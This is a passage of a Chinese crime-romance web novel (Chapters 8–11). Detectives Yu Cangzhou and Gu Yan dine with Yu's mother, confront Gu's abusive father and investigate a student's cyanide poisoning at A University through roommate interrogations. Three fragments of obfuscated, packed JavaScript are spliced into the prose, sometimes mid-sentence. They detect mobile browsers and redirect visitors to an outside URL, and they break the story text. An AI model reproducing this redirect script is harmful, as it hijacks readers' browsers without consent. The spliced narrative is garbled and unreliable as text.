顾彦一听,嘴角就弯起来。他去浴室拿了换洗衣服,敲敲门,喻沧州侧着身子打开,顾彦面上不动神色,但其实眼角余光还是往他那瞥了一眼,接着又目不转睛地收回目光。 喻沧州平时办案何等细心之人,自然留意到了顾彦的眼神。虽然顾彦什么都没有表示,但他莫名觉得这氛围有些不对,平日里再日天日地的喻队长此时也有些怂了,他嘭地一声把门带上,“看什么看,都是男人有什么好看的!” 8. 第八章 喻沧州洗完澡出来,发现顾彦已经把挂面下好了。他其实有点累,本来打算直奔卧室睡觉,但看着顾彦端着碗沉静的样子莫名觉得家里难得有点人气,心念一转还是在餐桌边大马金刀地坐了下来,“怎么不直接泡面,多方便哪。” 顾彦:“泡面不健康,下点挂面就算是素的也比油炸食品好。” 一瞬间有种被老母亲探望儿子即视感的喻沧州:“……” 喻沧州接过顾彦手里的面,看上去内容很丰富的两碗面,面上卧着鸡蛋、鱼丸,面里点缀着些许大白菜和虾,喻沧州惊道:“我冰箱里还有这些东西?” 顾彦将手中的筷子递给他,和他一起在客厅里的餐桌前坐下来:“有的,好在都还没过期。” “那肯定是我妈来的时候给我塞的。”喻沧州转了一筷子面送入自己口中:“唉顾彦,你说你以前是A市人,又是二中的,你以前吃过二中门口那家鳝鱼面吗?” “……没有。”顾彦挑了一口面夹起来,却没急着吃,“怎么问我这个问题?” “没事,就是突然想起来了,我学生时候可爱吃那家的面,工作以后还专门去寻过一次,谁知那家店早就拆迁不干了,可把我给遗憾的。”喻沧州一边说着一边又呼噜了一口面,“不过说起来,你手艺也还行,怎么着,专门学来讨喜欢的女孩子开心的?” 喻沧州说着抬起头来,眼中都是揶揄之色,顾彦望着他的目光顿了顿,心里想说,专门学来讨你开心的。 正在这时,不远处的手机叮铃铃地响了起来,喻沧州转头一看,是自己的手机。这个时间会给自己打电话的人基本上也没谁了,喻沧州走过去拿起手机就一把接起:“喂,妈。吃饭呢……还能干啥。面,同事下的……员工宿舍下雨漏水,人初来乍到,就直接安排给我了……顾彦……行,明天见。” 喻沧州一口气打完电话,把手机扔在桌上,碗里的面就剩口面汤了,他一股脑喝完,把空碗搁在桌上,“顾彦,我妈说明天蒸五花肉,一起过去吃。” 顾彦说:“好的。” 顾彦吃相斯文,喻沧州跟鬼子扫荡村子一样风卷残云地吃完了,见顾彦还剩大半碗面,就叮嘱说道,“面吃完了碗就放在洗水池里,我明天早上起来洗。拿这里当自己家,别跟我客气啥。我有点困,我先去睡了。” “好的队长,晚安。” “嗯呐。” 隔日是个艳阳高照的大晴天,喻沧州妈妈家离喻沧州家并不远,十五分钟就能走到,喻队腿长,不乐意开车,就提议走着去她家,顾彦自然是同意的。正是秋日,A市路边的桂花开得如火如荼,桂花的甜腻气息漂浮在空中,十五分钟的路程没一会儿就到了。 进了小区,正准备上楼,喻沧州一伸手拦住顾彦:“对了给你说个事,一会儿吃饭的时候我妈肯定得催我相亲,你一会儿看我眼色,要是我们快吃完了,我就接个电话说我们来任务了得立马走人,你就赶紧站起来立刻跟着我走,知道不知道?。” 喻沧州一边说着,脸上一边露出了烦躁的神情,顾彦看着有些想笑,好歹这说明了至少不会有外敌存在,他不动声色地点了点头说:“知道了。” “烦,我自己都还没捯饬清楚呢,再去相亲那不是祸害人家吗?”喻沧州一边吐槽一边烦躁地往里走,顾彦跟在他身后一起上了楼。 刘希薇家里并不大,不过采光很好。一进门,餐桌就在窗边,桌上已经摆好了一盘清炒土豆丝、一盘蒜蓉空心菜和一碗炖鸡蛋,刘希薇端着蒸五花肉从厨房里出来,笑眯眯的同顾彦打招呼:“哟,来啦?顾彦是吧?快坐下来快坐下来,菜都已经做好啦,就等着你们来吃啦。” 顾彦也同她打招呼:“阿姨好。” 喻沧州早就饿了,因为是自己家,所以他也不怎么客气,脱了外套就直接去厨房里端了两碗米饭出来,对刘希薇道,“这是我和顾彦的,你的那碗自己拿去。” 三人一起在餐桌边坐下来,刘希薇开始寒暄:“诶顾彦,你现在多大啦?” 顾彦夹了块五花肉到自己碗里:“我二十五啦阿姨。” 刘希薇笑道,“二十五,还年轻啊,真好。有女朋友吗?” 喻沧州皱起眉,“妈,你能别一进门就打听人家有女朋友这回事吗?” “我打听打听怎么啦。人二十五,不正是该谈恋爱的大好年纪嘛?” 顾彦朝喻沧州笑了笑道,“没事的队长。现在还没有女朋友阿姨,不过有一个喜欢的人,还在追的过程中。” 刘希薇一听,脸上顿时笑开了花,“哎哟那好那好,这姑娘有福气啊,有个这么优秀的小伙子在追她。” 这对话…… 喻沧州听不下去了,一个人低头使劲扒饭,果不其然,下一刻,战火就引申到了自己这里,“诶你也跟人家学一学啊,哪怕你不去相亲,你至少也学人家追一追哪个好看的女人啊。真的,你找什么样的都行,我不挑,绝对不会有“你看上了我不满意”这种婆媳关系存在,哪怕他是个男人都行,真的。我现在就怕我死了以后,你一个人,谁照顾你啊?你们搞刑侦的办案受伤跟玩似的,老了以后身体不好了,身边连个把你送到医院的人都没有……” 喻沧州原本听到前面的时候还皱着眉打算反驳几句,等到听到后面,也不打算贫了,“妈你别担心了,我一个人能照顾好自己。” “你现在是年轻,才能大言不惭说这种话,谁不希望自己一直三头六臂啊,可是等到真的动不了的那一天,才知道只有自己一个人的感觉有多辛酸。” 喻沧州盯着自己碗里的米饭没说话,半晌才道,“可是等到真的动不了的那一天,不就离死也没多远了吗?要人在身边干嘛?” “你!"眼看着喻沧州这么固执,刘希薇气得嘴角颤抖,“沧州,你跟妈说说,是不是那件事你还没放下?你跟妈说说,你什么时候能……” 喻沧州一把放下了筷子,脸上不再是以往的吊儿郎当。他有着一双非常亲和漂亮的桃花眼,弯起来望着你时常常会让你觉得自己不经意间就被他收买了,但他毕竟干过这么多年的刑侦,脸色沉下来时,多年的刑警生涯还是不可避免地让他此时的神情带上一丝厉色,“妈,同事在呢。” 刘希薇见此情景,知道这场对话到了这里就谈不下去了,她放下筷子平复了一下心情,良久,才缓缓道,“你以前总说我催你相亲,你自己也凡相亲必搞砸,从来没有一次相完了人姑娘没来告状过。你或许觉得我烦,觉得我是闲了没事干瞎操心,可是当父母的到了年纪,操心的不都是这些事?就算你再能干,我还是要操心的,当父母的就是一个操心的命。你要是觉得我碍着你了那我以后不给你安排了,但你自己也上点心吧。” 刘希薇这句话说完以后,便再没有人说话,饭桌上氛围一时有些僵。顾彦见此情景便主动和刘希薇说话,喻沧州只一个人低头扒饭,并不参与他们。一直到午饭结束,喻沧州母子俩的神情才看起来缓和些。 “阿姨,多谢您的午饭,那我们就先走了。” “行,以后要是没事就多来阿姨这里吃饭哈,阿姨一个人做饭,做了也吃不完。” “好的阿姨。一定常来。” 刘希薇和顾彦寒暄完了又抬头去看喻沧州,她脸上还带着些许不悦的神情,但到底是自己的儿子,生气也气不过一个小时,刘希薇拿着一个袋子递给喻沧州,“那什么,童佟在京东网上买的书地址选错了,寄到了我这里,你今天反正没事,一会儿给她送过去吧。” “行。” 喻沧州一边说着一边接过了刘希薇手里的袋子,临要离开,又转过身去抱了抱刘希薇,“老太太,别一天到晚地东想西想,学学别的老太太,跳跳广场舞画画风景画学点英语环游世界,不是很好吗?儿孙自有儿孙福,你儿子这么酷,不会孤苦晚年的。” 他固执归固执,哄人的时候嘴还是很乖的,刘希薇啐了他一口,“就知道贫嘴。” “行,那我们走了啊老太太。” 换上鞋临出门了,喻沧州还记得冲她比出一根手指,“晚上记得学英语。” 刘希薇这下笑了,“滚滚滚,赶紧滚蛋!” 两个人一前一后下了楼,顾彦看着喻沧州手里提着的袋子问道:“所以我们现在去哪?” “去A大。” 刘希薇方才提到的童佟是喻沧州她姐的女儿,喻沧州的姐姐是个女强人,公司开到了全国各地,一年三百六十五天里有三百天是在出差,童佟从小在刘希薇家长大,因此跟喻沧州关系特别亲近。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471590|201510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 到了A大,喻沧州收到童佟的短信,低头查看了一下,“嘿这小祖宗,架子还挺大,说在教室自习,非让我给她把书送到教室门口,她谁?老佛爷吗?”但他说归说,心里还是挺疼这个小侄女的,喻沧州转头问了问顾彦,“怎么样,是要跟我一起上去,还是在这儿等着?” “我就在这儿等着吧。”顾彦说道。 “那行,你在这儿等我一会儿。我马上下来。” 喻沧州上了A大教学楼,顾彦就在楼下的花坛边等着。此时正是周六下午,A大校园里人并不多。正对着教学楼是一个偌大的草坪,有不少家长带着小不点们在草坪上放风筝。顾彦正端详着天上各色各样的风筝,突然觉得有个人在不远处正盯着自己。 他抬起头,只见前方是一个瘦得几乎没什么精神的男人,他面相有些狠厉,一双吊眼,眉毛太过浓密反而显得非常杂乱无章。此时,那个男人正一手拿着一个空的塑料瓶,一手提着一个收破烂的袋子直勾勾地看着自己。即使已经瘦得失去了形貌,顾彦还是一眼就认出了那个男人,毕竟假如一个人曾经日日夜夜都出现在你的梦里,你总也不可能因为过了十几年安逸日子就会忘了他。 顾彦调转了视线,装作没有在意他。 但不知为什么,这反而帮助男人认出了他来,男人提着收破烂的袋子两步走到他身前拽住他的手臂,“顾彦是吧?”男人瞅了瞅顾彦身上穿的衣着,“你小子现在发达了啊,还想装作不认识我?你以前就是这幅装腔作势的模样,枉我之前还为了你去消防局闹了好久。” 顾彦开口道,“装腔作势的是你吧顾尉军?你去消防局闹难道不是为了找消防局的人要赔偿金,难道是真的为了我?” 顾尉军阴鸷地笑了笑,“怎么说话呢儿子?我当年对你不好吗?老子都快穷得叮当响了还供你吃供你穿,给你上学,你怎么不看看别人穷苦人家的孩子那是连饭都吃不上一口学都上不了。” 顾彦冷笑,“是,你照顾得最好,照顾得离饭都吃不上一口其实也不远了。” 顾尉军也不知道是真没听出来还是假没听出来这是讽刺,说道,“你知道就好,接受了恩惠就要图报,我现在手里没钱了,你给我点钱花花。” 顾彦:“我没有。” “你骗谁呢儿子,就你这全身上下的穿着,加起来就得超过一千了吧?没钱?没钱还穿得这么好干嘛?”顾尉军当他还是当年那个任他拳打脚踢的小男孩,一巴掌伸出来对着顾彦就要往他脑袋上呼,正当这时,一只手臂突然出现倏地捏住了他。 “啊痛痛痛……” 顾尉军惨叫着恼羞成怒地回头,看到顾彦身边人高马大的男人,喻沧州人模狗样地笑了笑,“顾彦,这是谁啊?” 顾彦冷冷淡淡,“不认识。” “狗屁,老子是他爸!” “原来是叔叔啊,幸会幸会。我是顾彦的队长,我们现在有点任务,要立刻离开,您看行吗?” 喻沧州嘴里这么打着商量,手上的劲道却一点没松,顾尉军只觉得手腕好似要断掉一样的疼痛,顾尉军打量了一下喻沧州,知道自己打不过他,思量了一下还是服了软,“行行行,当然行,顾彦,快和你领导一起走吧。” 喻沧州嘴角冷笑了一下,松开了手,“那我们就先走了叔叔。” 离开教学楼好远,顾彦都一直没怎么说话,喻沧州也难得一反往常的安静,陪着他安静地走着。 A大被评为全国最美的十大校园之一,一贯绿化很好,此时,两人走在被参天古木包夹的林荫道上,满目都是翠色。 终于,顾彦打破了这沉默:“队长,你不问些我什么吗?” 喻沧州走在前面,手抄在裤子荷包里,吊儿郎当道,“有什么好问的,你昨天才说你小时候离开了A市,今天就遇见了个捡破烂的爸爸,抛妻弃子的人渣见儿子发达了又凑上来扯关系,就算不是这种事,基本上大方向也跑不脱了,我没啥好好奇的。” 顾彦心中一暖,眼眶几乎有些温热,“队长,谢谢了。” “没事,赶紧走吧。”喻沧州一边说着一边回转身来,树的影子落在他身上,让平日里吊儿郎当的他如今看起来更稳重了些,“我说有任务不是骗人的,真的来案子了,就在A大。” 9. 第九章 A大之所以被评为全国最美的十大校园之一绝对不是吹的,A大依山傍水,历史悠久,校园偌大,从童佟自习的教学楼到保卫部所说的案发现场,就凭顾彦和喻沧州两个人,竟也走了将近半个小时。 快要走到案发现场,远远地就看见一群保卫部的人围着一块小角站了一圈,大约是听的接警警员的安排,保卫圈内部拉了一根黄线,用以禁止任何人进入。这样的架势本该引起人注意,不过好在这里深入校园腹部,地处偏僻,路过的学生并不多,因此并没有引起多少骚动。 毕竟是周末出警,苏小小、法医及痕检们还没到,喻沧州见此情景,三步并作两步地走上去,找到一个看起来像是负责的人,把证件掏出来出示了一下就开口问道,“到底什么情况,具体给我说说。” “今天早上,我们有学生出寝室门去自习,路过这条路的时候,觉得电线杆背后好像有东西,走过来一看,就发现了这具尸体。” “什么时候发现的?” “十一点多钟的时候吧。” 喻沧州隔着警戒线看了看,死者是个看上去二十来岁的女大学生,长发,丝质衬衫加碎花长裙,衬衫和长裙上都有褶皱,看起来像是死前和什么人缠斗挣扎过。 喻沧州问道:“有死者身份信息吗?” 保卫部的人开口道:“这个学生名叫刘妍,是化院化学系大二的学生,入校以来期末成绩惯来排在年级前五,因为面容姣好,平日里追求者也众多。她的宿舍在老十二,就是沿着这条路一直走到头就到的宿舍。” 喻沧州顺着保卫部的人手指的方向看去,只见这条路的位置很偏僻,在一个凸起的小山坡的后面,山坡上密林丛生,适合藏人,任何人夜间行走这里都非常不安全,喻沧州开口问道:“A大从教学楼回老十二的路,只有这一条吗?” 保卫部的人开道:“还有另外一条路的,老十二是A大最老的一批学生宿舍楼了,最早可以追溯到上世纪三十年代,因为这里靠近南湖,所以这一批宿舍统称湖滨。出于安全的原由,学校给湖滨宿舍修了另外一条大道,为的就是不想让学生走这条路,但是因为这条小路走起来离教学楼、操场什么的都更近,所以还是会有学生抄小路走这条路。” 喻沧州点点头,“知道了,那这条路有安装监控吗?监控在哪里?” “监控在路段中央,就是那个路灯上面。”保卫部的人手指了一个方向。 喻沧州抬头看了看,监控离这里有一些距离,这里又正好靠近一个拐角,监控恐怕是顾及不到了,喻沧州顿时心里一沉。 喻沧州道:“好的,那就先问这么多,感谢您了,我们的同志还没来,还得麻烦保卫部的人再帮忙守在这里一会儿,我和我同事先到处转一转了解一下情况。” 保卫部的人见喻沧州这么客气,连忙开口道,“不麻烦不麻烦,应该的,那您去吧,我们在这儿守着。” 喻沧州打听完了情况退出来,他问保卫部的人问题的时候,顾彦就在一旁安安静静地听他们说话,同时观察地形,但因为有效信息还太少,他也没得出什么结论来。喻沧州见他已经进入状态地站在一旁,便开口道:“那我现在去另外一条路上走访看看,你去调查一下刘妍平时的社会人际关系,老师教授兼宿舍室友什么的。” 顾彦道了声“好”,两个人就各自分开行动。 喻沧州去到通往湖滨宿舍的另外一条路上,只见相比刚才那条被幢幢树影和高高的山坡包围的路,这条路无疑一马平川了很多。大约因为靠近校外居民区的关系,路的左边是一个有着些许健身器械的小公园,公园正中间有个五柱的小亭子,亭子内是一张桌子和四个石凳,远远看上去很是养眼。而这条路毕竟还在A大校园范围之内,因此在路的右边,又是一水的饭店、奶茶店,此时正是午后,各个店内的生意都爆满。另外,A大的湖滨食堂也坐落在这里。 喻沧州一边手插兜里往前走一边观察着地形,正在这时,远处迎面走来一个一手拎篮球,一手提着一碗热干面的男孩,喻沧州顺手拦住了他,“同学你好,请问你是化院的吗?” 男孩停了下来,他看起来身量很高,大概一八五的样子,浓眉大眼,一眼看去非常阳光。而这也正是喻沧州拦住他的原因,这样的人一般都比较知无不言言无不尽。大概没出过校园的学生都有着一股还在象牙塔的热情,见喻沧州问了这么奇怪的问题,男孩也没啥防备,直接回答道,“是啊。” 喻沧州开口道:“是这样的,我最近在做一个问卷调查,想问你几个问题,行吗?” 男孩:“你问啊。” 喻沧州平时走访亲属关系,不太喜欢直接告诉别人自己是警察,因为一旦报了自己的身份,就总有人拿看热闹的眼光瞅他,又或者假如直接告诉别人死了人,又会一下子造成轰动,反而不方便问问题了,因此此时,喻沧州也没直接报自己的身份,随口胡诌了一个理由就开始问起来。 “你的宿舍住在哪里?”喻沧州问道。 男孩答道,“湖滨老八,我们院大三的男生都住湖滨老八。” “这样,那你平时回宿舍都走这条路吗?还是说,”喻沧州说着用眼神示意了一下自己方才来的方向,“湖滨宿舍后面还有一条小路,离主校区稍微近一点,你平时也走那条路?” 男孩望了望喻沧州示意的方向,懂了他说的哪条路,“哦你说保研路啊?保研路我以前经常走,以前大二的时候课多实验也多,就经常抄小路回寝室。现在大三闲下来了,大家就都走这条路,你也看到了,这条路上吃的东西多嘛。” 喻沧州听到他提到“保研路”,心里有什么流光似的一闪而过,顿时问道:“保研路?那条路本来就叫保研路?还是说有什么说法?” 男孩听见这个问题顿了顿,“那条路本来的名字么?不知道……就保研路啊,你没听说过吗?以前我们院有个学姐在这条路上被强|奸了,后来告到学校,学校不想把这件事闹大,就直接给那个学姐保研了。” 喻沧州闻言神色一凛,但这凛然转瞬即逝,不过一眨眼的功夫,他又恢复了那副吊儿郎当的模样,“好的知道了同学,最后一个问题,从化院到你的宿舍走这两条路分别要多久?” “其实呢,走这两条路用的时间差得不太久,也就十来分钟的差距吧,不过从化院到湖滨已经很远了,走过来就要三十分钟,再加上这十分钟,假如没赶上校车只能步行回来的话,还是走保研路比较快。” 喻沧州点了点头,“好的同学,那我就这么些问题了,感谢你的配合,祝你学业顺利,生活愉快。” “好的好的,您也生活愉快。” 和喻沧州寒暄完,男孩见没什么事,就提着篮球和热干面走远了。等他走后,喻沧州又挑着几个同学了解了一下情况,得到的说法大都和刚才那个男孩说的一致,喻沧州见再问不出什么信息,便踱着脚步往回走。 A大校园开阔,换了条小路就能有相差十分钟的路程,喻沧州一边在脑内整理案件信息一边想起自己学校当初那点破旮旯地,不禁心生感慨道,“所以说学校大了也有学校大了的麻烦啊。” 等到到了案发现场,苏小小才刚到,法医痕检们也正在带手套,苏小小见喻沧州走了过来,向他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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苏小小将手里的包递给喻沧州,喻沧州带了手套接过来,只见巨大的一个tote包里,装着一个笔记本电脑,一个笔记本,还有几支笔。喻沧州将笔记本翻开,感到这大概是刘妍平时实验记录用的本子,只见上面密密麻麻的写满了实验步骤和实验结果,只是实验记录本同时也用作计划的用途,所以间或地,刘妍也会在上面写一些计划日程。 喻沧州大致浏览了一下就直接翻到笔记本最新使用的一页,只见在笔记本的最新一页的右下角,赫然写着刘妍给自己这一天安排的日程: “9:30 四教自习 11:30 午饭,去中国银行取钱 14:00 实验 15:15 大学英语 18:30 实验 21:30 保研路”。 喻沧州一看到“21:30 保研路”的字眼就登时顿了顿,假如一个人本来就计划要去保研路,然后她在保研路被奸杀,“这是有预谋的!”喻沧州顿时道。 苏小小原本还在旁边检查其他物证,没听清喻沧州的话,疑惑地抬起头来:“嗯,你刚才说什么喻队?” 喻沧州:“我说这是有预谋的,你看这里,在刘妍的实验记录本上,她写着‘21:30 保研路’,说明她提前就和人约好了九点半要在这条路上见面,假如她只是自己一个人要回宿舍的话,她根本不用专门把这项日程记在日程提醒里,这说明她当时就是要来见保研路见人的。” 正在这时,法医走了过来,“喻队,刚刚检查发现尸体的尸斑是鲜红色的,排除低温死亡的原因,推测可能是氰|化物中毒,具体结论要等到回到局里做了普鲁士蓝实验以后才能得出。” 法医刚刚说完,顾彦也回来了,“队长,刚刚走访刘妍的宿舍,发现刘妍和她的室友们关系都不太好。” 喻沧州将刘妍的实验记录本一把塞回她的包里,站起身来,“将尸体带回局里去做普鲁士蓝实验,刘妍的室友们也带回去聊一聊,顾彦,你去查一查这些人谁能直接拿到氰|化物。” 10. 第十章 A大给学生安排宿舍惯来是按照学号来的,因为刘妍的学号正好赶在末尾凑了巧,所以原本应该是住四人的宿舍间,刘妍她们寝室却只住了三个人。此时,刘妍的另外两个室友都被喻沧州带回了局里,正安安静静地坐在审讯室外的长条椅上,准备接受审讯。 首先接受审讯的女孩名叫郭苌,郭苌梳着一头短发,典型的白T加牛仔裤的学生搭配,个子非常小,肤色偏黑,人有些瘦,但或许因为眼睛里的锐气在,那点瘦弱反而让她看起来不失干练和精神。 喻沧州走进审讯室以后在她面前坐下:“你就是郭苌?今年多大了?” “十九。” “年级?” “大二。” “和刘妍的关系?” “室友兼同班同学。” 她说话的时候神情有些冷淡,不知是本来就是这样的性格还是不愿意参与到审讯这样的事情中来。目前她说出的信息都与喻沧州知道的相吻合,喻沧州便跷着二郎腿靠在椅背上接着问道:“既然是同班同学,你俩平时一起去上课吗?” “不一起上课。” “吃饭呢?” “也不一起吃饭。” “怎么连饭也不一起吃?” 郭苌闻言似是有些不耐烦,语气不悦了起来:“警察叔叔,都大学了,谁还一起上课吃饭啊?谁还没有点自我空间吗?” 喻沧州闻言抬起头来看着郭苌,眉峰轻轻地一挑,就被他挑出了一丝询问的气息:“怎么?听你这意思是你俩平时关系不怎么好?” 郭苌闻言不说话了,只撇过脸去,拿眼盯着桌子角,一脸目中无人的样子。 喻沧州敲了敲桌面:“警察叔叔问你话呢!” “谁跟她关系好,她那么装。每天早上六点半就跑到楼道上读英语,晚上不自习到图书馆闭门绝对不会回寝室,看似和谁都轻声细语,在外面表现得一副大方大度的样子,回到寝室还不是和室友有冲突。” 喻沧州抬头:“怎么?她和你有冲突了?” “没,不是我,是徐丽丽。” 郭苌口中的徐丽丽正是刘妍的另外一个室友,此时她正坐在审讯室的长条椅上,等待着之后的审讯。 喻沧州转头望了望窗外的方向,开口问道:“她们怎么有冲突的?” 郭苌开口道:“刘妍不是每天一定要自习到图书馆闭门才会回寝室嘛,她做事情又喜欢磨磨蹭蹭,常常到了熄灯的时候还没洗完澡爬上床,徐丽丽睡眠质量很差,有点神经衰弱,一点点光线都会睡不着,刘妍晚上床也影响了徐丽丽的睡眠时间,给她提意见她又不改,久而久之两个人关系就变得很差,还大吵过一架。” “这是什么时候发生的事?” “两个月以前吧。自从她们俩吵过架以后,刘妍和徐丽丽每次见面就都对对方没什么好脸色,徐丽丽还曾经骂过刘妍贱人。” “那她们吵架的那次你在宿舍吗?” “在。” “你当时怎么做的?” “什么都没做,她们俩吵架,关我什么事?”郭苌皱着眉,浑身上下都是一副事不关己的姿态,哪怕到了现在,她也没对刘妍的死亡流露出任何同理心。 喻沧州点点头:“知道了,昨天晚上你有约刘妍九点半到保研路和你见面吗?” “没有。” “最后一个问题,徐丽丽不喜欢刘妍是因为神经衰弱被影响到睡眠,你不喜欢刘妍是因为?” “就装啊,还嗲里嗲气的。” 郭苌似是非常不喜欢刘妍,提到她的时候语气都变得更加不友善了,喻沧州观察着她的神色沉思了一会儿说,“那行吧,这次的审讯就先到这里,你这两天随时留意手机,如果有需要补充的问题我们还会联系你,你去让徐丽丽进来。” 郭苌出去后不就,徐丽丽就进来了,“警官你好。” 和郭苌的瘦但锐气不同,徐丽丽其人有些微胖,肤色很白,眼睛下面两个大大的黑眼圈,看上去人显得有点没精神。喻沧州朝她点点头,“请坐。” 徐丽丽走到桌子后面坐了下来,喻沧州开口道:“介绍一下你自己吧。” “好的警官,我是徐丽丽,今年十九岁,是A大化学与分子科学学院的化学专业的学生,我和刘妍是室友也是同班同学,我们一起住在老十二的305,她发生了这样的事情,我也很难过。” “难过?”喻沧州摸着下巴道,“郭苌可是说你和刘妍关系不太好,你们俩还有过一次大的争吵。” “争吵归争吵,室友同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471592|201510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学哪有不发生摩擦的,但这并代表我就希望看到她有这样的结果。” 喻沧州点点头,“那既然你们关系不好,所以你们平时几乎不会一起活动咯?你不会约她出来干什么这样子。” “一起活动?不会的。我们宿舍三个人彼此之间关系都不是很好,肯定不会一起活动,约她出来就更不会了,我和她自从上次吵架以后,就基本上不怎么说话了。” “行。”喻沧州一边说着一边换了个坐姿,“现在来聊聊刘妍和郭苌吧,郭苌说她不喜欢刘妍,那她俩平时有交集吗?” “她俩其实交集很少,虽然同在合唱团,但是因为不在一个声部,所以也没啥单独的交集。她俩关系不好主要是郭苌不喜欢刘妍,觉得她装一装就得到了所有的资源,其实我觉得她俩无论是成绩还是能力都不相上下,但是因为郭苌对待各种事情都更主动积极一些,所以喜欢她的人更多一点。” “但你不怎么喜欢她嘛?” “那是因为她总是晚睡影响我睡觉!我这个人,只要睡不好,第二天就头昏脑涨什么也干不了。”和郭苌相比,徐丽丽在提到自己和刘妍的关系的时候反而温和许多,至少提到她们的冲突的时候徐丽丽的态度是坦诚的。 喻沧州点了点头:“那么,你刚刚提到喜欢刘妍的人多一点,是泛泛而谈所有的同学关系,还是特指追她的人也多一点?” “是泛泛而谈,但当然,追她的人也多一点。刘妍本身皮肤白,气色也好,又会化点淡妆,男生们都很喜欢她的。郭苌还暗恋我们级的一个高富帅同学呢,想要追他,结果发现人家痴汉的是刘妍,只能不了了之。” “郭苌暗恋的那个男同学的名字是?” “陈易阳。” “知道了。”喻沧州点点头,拿起桌上的手机拨通了一个号码,“喂苏小小,让刘妍的同学陈易阳来警局一趟。” 喻沧州打完了电话,就将手机摁黑屏搁在桌子上,抬起头来看着徐丽丽。他的目光冰冷,带着一股审视的意味,“最后一个问题,根据我们的检验结果显示,刘妍的尸体中发现了氰|化物的成分,而你平时工作的实验室里正好接触得到氰|化钠。对于这一点,你怎么解释?” 喻沧州才说完这句话,徐丽丽的脸色就彻底变了。 11. 第十一章 “警官,你认为刘妍是我杀的?”审讯室内,徐丽丽颤抖地问。 “只是怀疑。”喻沧州抱着手臂跷着二郎腿坐在椅子上大喇喇地回答道,“在没有拿到证据之前,我们只能根据事实合理怀疑,当然,我们的同事目前也正在全力搜集证据。那么现在来回答我的问题,你怎么解释你和刘妍之间的矛盾以及你能接触得到氰|化钠这个事实?” “不是我杀的。我是和刘妍有矛盾,又很剧烈地争吵过,但再怎么样,我也不至于去杀人。” 徐丽丽说话语速偏慢,这种特质让她在这种时候无法迅速地表达出自己的想法,心里一急,眼眶就瞬间红了,“大家都是学生,好不容易才考上A大的,谁会愿意为了这种意气之争就白白送上自己的前途啊?” “既然这样,昨天晚上八点到十二点之间你在哪里?”喻沧州开口问道。 “我在参加组织部的聚餐,组织部的学长学姐可以为我作证。”徐丽丽说。 喻沧州:“组织部是?” “是学生会下面的一个部门,昨天晚上我们部长说开学了难得大家开会能聚齐一次,又正好是周五,就临时起意说要聚餐,吃完饭以后大家还一起去K了歌,您要是不相信的话,可以去问我们部里的学长和学姐,大家都可以为我作证。” “那你们聚会是什么时候开始什么时候结束的?” “大概六点多钟开始吃的冷锅鱼,结束的时候是十一点多一点,我记得很清楚——因为宿舍十二点关门,所以十一点才刚过大家就开始往回走了。” 喻沧州闻言思考了一下,徐丽丽眼看着他又拨了一个电话,让对面的同事去找化院学生会组织部的部长核实信息,她开口问道:“警官,我能问一下刘妍的死亡时间是什么时候吗?” “按照她实验记录本上的日程,她到达保研路的时间应该是九点半,法医推定的死亡时间大概是九点四十五到十点半之间。” “那绝对不是我,我那个时候正和学长学姐们在一起K歌呢。” 喻沧州轻轻嗯了一声,“再问你一个问题,据我所知,化院会用到氰|化物的实验室就只有两个实验室,一个是你的导师刘磊的实验室,另外一个就是瞿燕瞿老师的实验室,你知道在瞿老师的实验室还有谁和刘妍有过节吗?” 徐丽丽仔细想了想,然后说道:“我想不起来了。” 喻沧州点点头:“那行吧,今天就到这里,我的同事会联系你的学长学姐,有问题或者发现证据有进展了可能还会让你来警局一趟。” 徐丽丽点头:“好的警官,有什么需要我配合的尽管说,我真的不是凶手。” 喻沧州神色淡淡的:“嗯,去吧。” 喻沧州推开审讯室的门,苏小小正带着一个男孩走过来,“喻队,陈易阳到了。” 喻沧州原本要出去,这下伸出手挡住门,“让他进来。” 陈易阳是个有些微胖的男生,个子很高,从上衣到裤子到鞋一水的阿迪达斯,看上去家境还不错的样子,然而他从走廊走到了审讯室门前,却不敢抬头和喻沧州直视。喻沧州见此情景眯了眯眼,陈易阳原本正在进门,抬起头正好看见喻沧州正在审视自己的样子,紧张得浑身一缩,头又低下去了。 喻沧州见了这情形心里多少也有了些数,他收起了审视的姿态,手往前一指,声音平和道,“坐吧,陈易阳。” 陈易阳哆哆嗦嗦地靠着审讯桌坐下来。 喻沧州也在审讯桌边坐下来,开口问道:“认识刘妍吗?” “认……认识。”陈易阳说道,眼睛盯着自己的手,还是不敢抬起头来看喻沧州。 “怎么认识的?”喻沧州靠坐在椅子上,整个人显得懒洋洋的。 “我……我们是同班同学。”看得出来他已经勉力在克制自己的紧张,但声音中带着的颤音还是暴露了他。 “听说你在追刘妍?”喻沧州冷眼问道。 “我……”陈易阳原本要开口回答,突然意识到什么,一个激灵顿住了然后就愣在了那里。 “你什么?到底是不是?!”喻沧州蓦地提高音量,陈易阳顿时就被吓到了,连忙答道:“是……是是,我正在追她。” “昨天晚上你在哪里?” “在……在……在寝室喝酒。”陈易阳眼神躲闪,目光游移,明显是慌乱到了极点。 喻沧州又问:“你喝完酒以后去了哪里?” “去了……去了……”陈易阳十指交叉,因为不知道怎么回答这个问题,他哆嗦地说不出话来。 